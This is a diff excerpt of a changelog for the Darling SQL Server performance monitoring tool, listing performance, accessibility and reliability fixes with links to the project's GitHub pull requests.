+- **Query Store top, history and trend reads scan a bounded range** ([#5533]). These reads set only a lower bound on the first execution time, so a window that ended days ago, or the partial first and last day of a long window, walked every newer row of the server. Each read now also bounds the first execution time at the window end, plus an allowance for clock difference and a long collection cycle that is 12 hours where it applies (the trend chart's interval points use one hour), and the Trends chart derives both of its bounds from the window. Rows from a server whose clock runs more than 12 hours ahead of the Darling service's can drop from a closed window.
+- **A managed store near a WAL size step no longer rewrites its settings file on every restart** ([#5544]) - The managed settings file derives max_wal_size and min_wal_size from the data volume's free space. A volume within a few hundred MB of a 16, 32, 64 or 128 GB step got another size on the next service start. The file was rewritten with nothing else changed. The file now keeps its size while it is within one eighth of the current free space, the same tolerance the settings check uses. Halved or doubled headroom still moves it. A hand-edited file is still left alone.
+- **The start-up check for gaps in the rollups no longer reads a whole chunk of a daily rollup to look for one missing day** ([#5538]). The check looks for days or hours where a rollup has no data but the raw table does. For a day the rollup lacked, it read a whole uncompressed chunk to find that out. On a large store that was about 14 GB and 50 seconds per run. It now looks a missing day up in the index instead of reading the whole chunk, and finds the same gaps. On the large store the lookup measured 0.89 ms and 3 buffers against 11.2 s and 240,137 buffers.
+- **The fleet overview tool and the web Fleet page total PostgreSQL deadlocks faster over multi-day windows** ([#5536]). These totals sorted and differenced every server's samples. Both surfaces accept windows up to 7 days, and on a store with 50 PostgreSQL targets a 7-day total took about 6.8 seconds. They now set aside the databases whose deadlock counter had the same value in every sample in the window and difference only the rest. On that store a 7-day total now takes about 0.7 seconds. The totals are unchanged, including after a counter or statistics reset and for databases with missing counter values.
+- **The module map no longer re-reads two days of procedure stats at every restart** ([#5528]). Service start and the daily sweep each re-read two days of procedure stats (about 100 s of store time per call on a large store) although the hourly refresh already keeps the map current. Both now read 30 hours behind the map's watermark, which still repairs rows that were saved late; the full two-day read stays for an empty map or one with no watermark.
+- **Custom Views, custom alert rules and alert notebook charts read far fewer rows for a scoped server** ([#5537]). A panel, rule or chart scoped to named servers now finds those servers by identity, so the read no longer scans every row of the window and throws most of them away. A renamed server's scope also includes the rows it wrote under its earlier name, and those rows keep that earlier name, so a panel grouped by server can show a separate series for it. A scoped name that the monitored server list does not hold still matches the rows stored under it. If a new server is later added under a renamed server's earlier name, a scope on that name now covers only the new server, so the earlier server's rows under that name no longer appear in it.
+- **Query Store reads that use the stored interval tables no longer miss an interval that started up to about a day before the table's oldest data** ([#5543]). The Queries grid, the MCP top read and the plan regression read use stored interval tables when they cover the requested range. Those tables drop an interval by its first execution time, while the raw snapshots drop by collection time, so an interval that started up to about a day before the table's oldest data could be left out of those reads. This could happen on default retention, for a custom range that starts just above the table's oldest data on a database with 24-hour Query Store intervals. These reads now use a stored table only when it reaches far enough below the range to hold every interval the range can need, and otherwise read the raw snapshots.
+- **A quiet server's job history and default trace watermark read touches a week of data, not its whole history** ([#5532]). When a server had no job run or trace event for 6 hours, the watermark read scanned the server's whole stored history, about 5,400 blocks a call for job history. It now tries the last seven days first, and the CPU and per-database watermark reads do the same, so a quiet Azure database no longer reads its whole history every cycle. The value is the same, except that job history's run time can come back older, which only makes the next collection re-check a little more and never skips anything.
+- **Small fixes across Lite and the Darling Viewer from the final release walk: Collector Schedules wording, Server Inventory health, time columns, screen-reader names and FinOps dashes** ([#5542]) - Every server showed Preset "Custom" next to Status "Default", which read as a contradiction. Status now reads "Uses default" or "Own schedule", both column headers have a tooltip, and a Custom preset has a tooltip naming the collector intervals that differ from the closest preset. The Server Inventory Health column in Lite and the Darling Viewer, web page and MCP tool now shows the same score as that server's Utilization view; it used to show almost the same number for every server because it scored average CPU against fixed memory and storage values. The Darling Viewer's Overview card shows the date of a collection that is not from today, the Alert History and Job History time columns name the clock they read on (and Viewer Job History rows read on their own server's clock), Alert History says when it shows only the newest 500, the Overview search also narrows the fleet roll-up above the cards ("Monitoring 2 of 9 servers"), and an Availability Group on old data reads Stale instead of Healthy in the Viewer and Lite. Screen readers now read column headers, their filter buttons, empty cells (text or templated), grid rows and server list items by name in Lite and the Viewer (they read as "System.Windows.Controls.StackPanel", a bare glyph or a type name before; a row now reads as its first two visible columns, such as "Time 06:01:12, Server example-sql-01"). The FinOps Utilization view in Lite and the Darling Viewer shows dashes for Avg, P95 and Max CPU when a server has no CPU sample in the last 24 hours (they read 0.00%, 0.00% and 0%) and hides the database sizes chart then, and the web page's Utilization read and the MCP tool return null for those three figures. The Server Inventory dash in place of a health score now has a tooltip that names both reasons for it (no CPU sample in the last 24 hours, or no memory sample collected), and Lite's Alert History count follows a column filter, as the Darling Viewer's does.
+- **Lite's Job History tab reads only the selected time range, and tab loads no longer wait on the database from the window** ([#5553]) - Every Job History read loaded and sorted each server's whole archived job history before it dropped the runs outside the selected range. On a 30-server test store that cost 4 to 8 seconds and 600 to 730 MB per server, and on a larger store it can run out of DuckDB's memory cap. The archive view now applies the time range first: 0.5 to 0.7 seconds, under 300 MB, same rows. The Availability Groups and FinOps tab loads, opening a plan viewer from a tab, the Overview's tag refresh, and the Manage Tags, Database State Overrides, history, drill-down and Collection Log windows also awaited their database reads and writes on the window's own thread. There they can wait behind archival or a long read. They now read off that thread.
+- **Darling stops a rollup's refresh jobs before it drops the rollup** ([#5552]). When Darling retired or rebuilt a rollup (a TimescaleDB continuous aggregate), its background refresh was sometimes still running. The drop failed with "tuple concurrently deleted", and in one test run the PostgreSQL backend running the refresh crashed. Darling now stops the rollup's jobs and waits up to 30 seconds for a running refresh to end. TimescaleDB ends it within seconds, as one failed run, so a rollup that stays can raise one information-level job-failure alert. If the wait runs out or the drop fails, Darling restarts the jobs and tries again on the next pass.
+- **The Darling Viewer's Top Queries, Top Procedures and Query Store tabs load faster over a network** ([#5556]) - A 7 day Top Queries load fetched each row's query text with its own store call, 50 calls in all. It is now one call. The slicer read starts beside the grid read instead of after it. The Long Queries tab starts its trace check beside its two grid reads instead of before them. A failed trace check no longer fails that load. The status bar's Database size comes from the size the service records on its hourly sweep. When no size is recorded, or the recorded size cannot be read, the Viewer measures the live database. After a timeout it keeps the last size shown instead. Either way the cause is logged once. A tab load slower than 3 seconds logs its phase split, times the baseline-comparison read as a store read, and names every tab.
+- **Two services starting against one PostgreSQL store no longer fail each other's role provisioning** ([#5566]) - the role and privilege batch that runs at start, and the reload's statement_timeout re-assert, failed with "tuple concurrently updated" when a second service ran the same statements at once. That left the viewer and MCP roles stale until the next start. Both now take an advisory lock first, so the second waits for the first. The wait is bounded at 12 seconds at start and 5 seconds on a reload. If something else holds the lock for longer, one warning names the session that holds it and the write runs without the lock. A write that fails because the other session wrote the same row first is run again up to twice. The self-managed store's password-rules step takes the same lock.
+- **The Query Store interval purge finishes on a large store** ([#5572]) - On a large store, the purge of the wide and latest Query Store interval tables never removed anything. It deleted a whole day in one statement, and that statement timed out on every pass. The purge now deletes in batches of up to 50,000 rows and commits each batch. A batch that times out is retried at half the size. Each batch starts where the last one ended, so a backlog drains over a few passes. The purge of the plan content table now also starts each batch where the last one ended.
+- **Running Jobs in Lite and the Viewer, and the get_running_jobs tool, list only jobs the collector's latest successful run found** ([#5554]) - A snapshot older than the long-running-job alert's bound is not listed. That bound is three missed cycles at the server's running_jobs cadence, at least 10 minutes. When that hides the jobs, the tab and the tool say collection is not current and give the time of the last good collection. A failed read shows "The running jobs could not be read". It no longer shows "No SQL Agent jobs are running." The empty grid says so in words. The column headers are wide enough to read.
+- **Each File I/O chart draws its own ten files, so Read Latency no longer goes blank when logs are busiest** ([#5554]) - The read chart takes the ten busiest files by reads and the write chart the ten busiest by writes. Each chart draws its files exactly as the read ranked them. The read says which ten each file is in. The ranking puts NULLs last and breaks ties by file name the same way in the DuckDB and PostgreSQL stores. The Overview I/O Latency lane weights read latency by reads.
+- **Lite's own queries no longer top Top Queries by Duration or Query Store by Duration** ([#5554]) - That covers its Query Store probe, its plan and text fetches, its connect-time detection query and its failed-jobs and job-step reads.
+- **The Live Snapshot button and the Get Actual Plan buttons in Lite judge statement text and plans with the screens' statement filter** ([#5554]) - The Live Snapshot button and the six Get Actual Plan sites use the same statement filter as the screens. The filter runs off the UI thread. A plan the filter withholds is refused on save. The test that lists every place Lite opens its own server connection now covers all of Lite, with a reason for each file.
+- **Select All in the Databases filter, or ticking every collected database, now means All** ([#5554]) - Databases collected later are then included. A filter for databases that are not collected yet stays a filter when the read of collected names fails.
+- **Empty server-tab grids in Lite and the Viewer say why they are empty, and screen readers get names for toolbar combos and plan operators** ([#5554]) - Empty Trace Flags, Running Jobs and Query Store Regressions grids say why. Configuration and Index Analysis headers and notes read in plain words. The toolbar combos and plan operators have names for screen readers. The disabled Compare box says where it works. An empty comparison period says so. The Repro script's Generated line is in UTC.
+- **The web dashboard's footer time, Job History messages, saved views, offline fleet cards and service log read correctly** ([#5554]) - The footer Updated time follows the page's own latest load and keeps its last good value when a poll fails. A read narrowed to its limit and then answered is not a failure. Job History messages are readable and open in full. A saved view opens on its server and says whose pick the scope is. It says all servers when its own setting is All. The Databases popover closes on a tab change. A server dark past the fleet read's 48 hours shows the real time of its last collection on its card. Availability Group counts and several empty-state sentences read correctly. A failed web request leaves exactly one service-log line, and it names the server and the cause. A failure before sign-in from one address is logged once per ten minutes. An unknown server is reported as not found. A registry lookup that fails no longer reads as "not registered". The offline-age read is cached and holds one pooled connection at a time.
+- **The module map refresh no longer holds back the collectors at service start** ([#5580]) - On a large store, the start-up module map refresh read procedure_stats for about 55 seconds before any collector started, on every restart. The start path now only creates the table. The refresh runs after the collectors start, from the hourly tick and the daily purge.
+- **The module map's daily refresh no longer sorts every raw procedure_stats row** ([#5584]) - On a large store the refresh read 10.6 M rows to find 21,636 handles. It took 35.5 s, most of it a sort that spilled 2.19 GB to disk. It now groups the rows by handle and names first. On a copy of that store the same window ran in 8.3 s with no spill. The map and its watermark come out the same.
+- **The first Query Store read after a big retention drain is no longer slow** ([#5585]) - After the retention purge removed the oldest Query Store interval rows, each server's first floor read walked every dead index entry. On a large store that took 19.6 s for one server. The purge now runs that read once per server in the background when it finishes, one server at a time. It runs only when the purge deleted rows or failed. A pass that only drops whole day partitions skips it, because a dropped partition takes its index entries with it. It skips a server whose table is locked.
+- **Web charts draw at the panel's real width** ([#5590]) - Line and scatter charts were stretched sideways to fit the panel. At 2,000 px their axis text was drawn at about twice its normal size, and the bar chart's labels grew with the panel too. All three now draw at the panel's width, and a resize redraws them with their zoom kept. Time labels follow the width, so none overlap on a phone or repeat on a short zoomed window. Across a clock change, each time label shows its time zone. The bar chart sizes its columns to the text, and printing scales each chart to the page width.
+- **Autovacuum on the Query Store interval tables can finish again** ([#5593]) - The BRIN index on their collection time asked for each new range to be summarized. After a large retention purge, those requests cancelled the running autovacuum about every 2 minutes, so dead rows piled up. The index no longer does that. The service now summarizes new ranges once an hour, and it gives up rather than cancel a vacuum.
+- **The Darling whole-tree guards CI job no longer fails after every test passes** ([#5598]) - WPF left a process-exit handler for each test thread that used a bound control. Each one waited out a 300 millisecond timeout, so the test process outlived the runner's 11-second exit window. The runner then forced exit code 1 with no failed test. Both test projects now set the WPF switch that skips the wait. This is a CI-only fix: no product code changed.
+- **"Collection Falling Behind" no longer fires in the first hour after every start** ([#5599]) - It fired minutes after a start. The alert now leaves out what was counted in the first 15 minutes after the service starts. A store that stays behind fires about 30 minutes after the start. A stall, a clock step, a pause ending or the launch guard's release does not give those minutes again. The alert text names the minutes it judged, and in the first hour the log line says "last N minutes, since the service started". Slots due while a server's connect run was still seeding its schedule are no longer counted as skipped.
+- **A hung test shard names its test and keeps its logs** ([#5591]) - A shard that ran into the job timeout lost its log and its timing. The Darling and Lite test steps now have their own timeout under the job's, so the upload steps still run. The runner reports any test that has run for 5 minutes, and its output is uploaded. The nightly runs get the same report. One test waited up to an hour while holding a lock. It now gives up after 60 seconds.
+- **One-day Custom Views panels on Query Store data read an hourly rollup, or are refused up front** ([#5588], [#5610]) - On a large store, a one-day panel read 8.46 M rows and took 55.2 s against the 60 s limit. Darling now keeps an hourly rollup of the Query Store wide table and reads closed hours from it. The answer is exactly what the wide table returns. A panel over the row limit is refused up front with the reason. A ranked panel reads its rows once only when that cannot fill the temp file limit. A rollup build waits only for an open write to the wide table that began before its hour was safe to build. A long wait is logged as a warning that names the session. A schema upgrade that cannot get its table lock in time logs every session that holds a lock on the store's tables.
+- **Darling's hourly maintenance step over stored analysis findings no longer times out on a large store** ([#5626]) - The step that re-masks stored analysis findings paged the table with a sort over a full scan. On a store with 600,000 findings each page read about 1 GB and timed out. It now reads a fixed 16 MiB slice of the table per page, so a page costs the same however large the table is or however many findings match. On a test store a page read 2,048 buffers instead of 35,698 and took 22 to 43 ms instead of 202 ms. The two stages over stored alerts now read one server at a time through the alert log's existing index, and their pages are bounded too. No store migration.
+- **Upgrade refusals no longer list the service's own files** ([#5628]) - The pre-lock check listed about 1,740 files the service had extracted. It now trusts the service's account only in the folders and files the service writes. A refused existing install gets numbered steps to move to a new folder, with the service, darling.json and store kept. upgrade-darling.ps1 now runs on Windows PowerShell 5.1 from its staging folder. A new CI check runs both scripts over real 3.7.1 and 3.9.0 installs. The compose quickstart pulls the latest image.
+- **Darling's deadlock maintenance logs a line when a stage recovers after a failed pass** ([#5637]) - The hourly PostgreSQL deadlock maintenance logged a warning each time one of its stages failed a pass, but nothing when a later pass succeeded, so the last line an operator saw for the stage was the failure. A stage that succeeds after one or more failed passes now logs one information line naming the stage and how many passes had failed. A clean pass with no earlier failure logs nothing new.
+
+[#4902]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4902
+[#4944]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4944
+[#4945]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4945
+[#4946]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4946
+[#4947]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4947
+[#4951]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4951
+[#4952]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4952
+[#4953]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4953
+[#4960]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4960
+[#4963]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4963
+[#4966]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4966
+[#4967]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4967
+[#4968]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4968
+[#4972]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4972
+[#4975]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4975
+[#4976]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4976
+[#4978]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4978
+[#4983]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4983
+[#4984]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4984
+[#4985]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4985
+[#4988]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4988
+[#4989]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4989
+[#4990]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4990
+[#4991]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4991
+[#4993]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4993
+[#4994]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4994
+[#4996]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4996
+[#4997]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4997
+[#4998]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4998
+[#4999]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/4999
+[#5000]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5000
+[#5001]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5001
+[#5004]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5004
+[#5006]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5006
+[#5007]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5007
+[#5009]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5009
+[#5010]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5010
+[#5015]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5015
+[#5016]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5016
+[#5018]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5018
+[#5019]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5019
+[#5021]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5021
+[#5022]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5022
+[#5023]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5023
+[#5024]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5024
+[#5025]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5025
+[#5026]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5026
+[#5028]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5028
+[#5029]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5029
+[#5030]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5030
+[#5031]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5031
+[#5032]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5032
+[#5035]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5035
+[#5038]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5038
+[#5040]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5040
+[#5041]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5041
+[#5044]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5044
+[#5045]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5045
+[#5047]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5047
+[#5049]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5049
+[#5051]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5051
+[#5052]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5052
+[#5055]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5055
+[#5056]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5056
+[#5057]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5057
+[#5058]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5058
+[#5059]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5059
+[#5060]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5060
+[#5062]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5062
+[#5064]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5064
+[#5066]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5066
+[#5067]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5067
+[#5074]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5074
+[#5075]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5075
+[#5076]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5076
+[#5078]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5078
+[#5079]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5079
+[#5080]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5080
+[#5083]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5083
+[#5084]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5084
+[#5086]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5086
+[#5087]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5087
+[#5088]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5088
+[#5089]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5089
+[#5090]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5090
+[#5091]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5091
+[#5092]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5092
+[#5093]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5093
+[#5095]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5095
+[#5096]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5096
+[#5099]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5099
+[#5102]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5102
+[#5105]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5105
+[#5107]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5107
+[#5108]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5108
+[#5109]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5109
+[#5110]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5110
+[#5111]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5111
+[#5112]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5112
+[#5113]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5113
+[#5116]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5116
+[#5117]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5117
+[#5118]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5118
+[#5119]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5119
+[#5120]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5120
+[#5121]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5121
+[#5122]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5122
+[#5123]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5123
+[#5127]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5127
+[#5136]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5136
+[#5137]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5137
+[#5138]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5138
+[#5139]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5139
+[#5141]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5141
+[#5144]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5144
+[#5147]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5147
+[#5149]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5149
+[#5150]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5150
+[#5151]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5151
+[#5152]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5152
+[#5154]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5154
+[#5155]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5155
+[#5156]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5156
+[#5159]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5159
+[#5161]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5161
+[#5162]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5162
+[#5163]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5163
+[#5164]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5164
+[#5165]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5165
+[#5166]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5166
+[#5167]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5167
+[#5168]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5168
+[#5169]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5169
+[#5170]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5170
+[#5171]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5171
+[#5172]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5172
+[#5179]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5179
+[#5181]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5181
+[#5183]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5183
+[#5186]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5186
+[#5187]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5187
+[#5188]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5188
+[#5189]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5189
+[#5191]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5191
+[#5193]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5193
+[#5195]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5195
+[#5196]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5196
+[#5197]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5197
+[#5198]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5198
+[#5199]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5199
+[#5201]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5201
+[#5203]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5203
+[#5205]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5205
+[#5209]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5209
+[#5214]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5214
+[#5217]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5217
+[#5218]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5218
+[#5221]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5221
+[#5222]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5222
+[#5250]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5250
+[#5255]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5255
+[#5258]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5258
+[#5259]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5259
+[#5260]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5260
+[#5262]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5262
+[#5263]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5263
+[#5264]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5264
+[#5265]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5265
+[#5268]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5268
+[#5269]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5269
+[#5272]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5272
+[#5273]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5273
+[#5275]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5275
+[#5276]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5276
+[#5278]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5278
+[#5283]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5283
+[#5285]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5285
+[#5286]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5286
+[#5287]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5287
+[#5290]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5290
+[#5294]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5294
+[#5295]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5295
+[#5298]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5298
+[#5299]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5299
+[#5300]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5300
+[#5301]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5301
+[#5303]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5303
+[#5310]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5310
+[#5314]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5314
+[#5322]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5322
+[#5324]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5324
+[#5326]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5326
+[#5327]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5327
+[#5341]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5341
+[#5342]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5342
+[#5356]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5356
+[#5359]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5359
+[#5360]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5360
+[#5361]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5361
+[#5362]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5362
+[#5364]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5364
+[#5367]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5367
+[#5368]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5368
+[#5369]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5369
+[#5372]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5372
+[#5374]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5374
+[#5380]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5380
+[#5383]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5383
+[#5385]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5385
+[#5386]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5386
+[#5387]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5387
+[#5388]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5388
+[#5390]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5390
+[#5392]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5392
+[#5394]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5394
+[#5396]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5396
